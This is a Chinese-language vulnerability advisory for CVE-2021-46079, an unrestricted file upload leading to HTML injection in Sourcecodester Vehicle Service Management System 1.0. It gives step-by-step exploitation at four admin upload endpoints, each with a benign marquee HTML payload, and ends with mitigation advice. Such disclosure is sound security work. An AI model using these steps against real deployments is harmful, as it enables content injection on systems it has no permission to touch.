CVE-2021-46079
漏洞标题:Vehicle Service Management System - 'Multiple' 文件上传导致HTML注入
CVE:CVE-2021-46079
CVSS:7.2 高
参考链接:
描述:
Sourcecodester Vehicle Service Management System 1.0 中存在一个不受限制的文件上传漏洞。远程攻击者可上传恶意文件,导致HTML注入。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
漏洞利用:
- 登录到管理面板 http://localhost/vehicle_service/admin
- 导航至“我的账户”部分 http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将以上html代码保存,例如:Html Injection.html
- 在“我的账户”部分输入所有必需信息,并在头像(Avatar)中浏览该html文件。
- 点击更新按钮。
- 在新标签页中打开头像图片。
- HTML注入执行成功。
2. Vehicle Service Management System - '用户列表' (/admin/?page=user/manage_user)
漏洞利用:
- 登录到管理面板 http://localhost/vehicle_service/admin
- 导航至“用户列表”部分,并点击“创建新用户”按钮。
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将以上html代码保存,例如:Html Injection.html
- 在“创建新用户”页面输入所有必需信息,并在头像(Avatar)中浏览该html文件。
- 点击保存按钮。
- 在新标签页中打开头像图片。
- HTML注入执行成功。
3. Vehicle Service Management System - '设置-系统Logo' (/admin/?page=system_info)
Payload:
- 登录到管理面板 http://localhost/vehicle_service/admin
- 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将以上html代码保存,例如:Html Injection.html
- 在“设置”部分输入所有必需信息,并在“系统Logo”中浏览该html文件。
- 点击更新按钮。
- 在新标签页中打开系统Logo图片。
- HTML注入执行成功。
4. Vehicle Service Management System - '设置-网站封面' (/admin/?page=system_info)
漏洞利用:
- 登录到管理面板 http://localhost/vehicle_service/admin
- 导航至“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 将以上html代码保存,例如:Html Injection.html
- 在“设置”部分输入所有必需信息,并在“网站封面”中浏览该html文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片。
- HTML注入执行成功。
影响:
攻击者能够在多个端点上上传恶意文件,导致HTML注入。
缓解措施:
建议实施以下措施:
- 切勿没有白名单过滤就直接接受文件名及其扩展名。
- 如果不需要Unicode字符,强烈建议仅接受字母数字字符,并且文件名和扩展名中只允许一个点。
- 限制文件大小至最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何“执行”权限。
- 不要仅依赖客户端验证。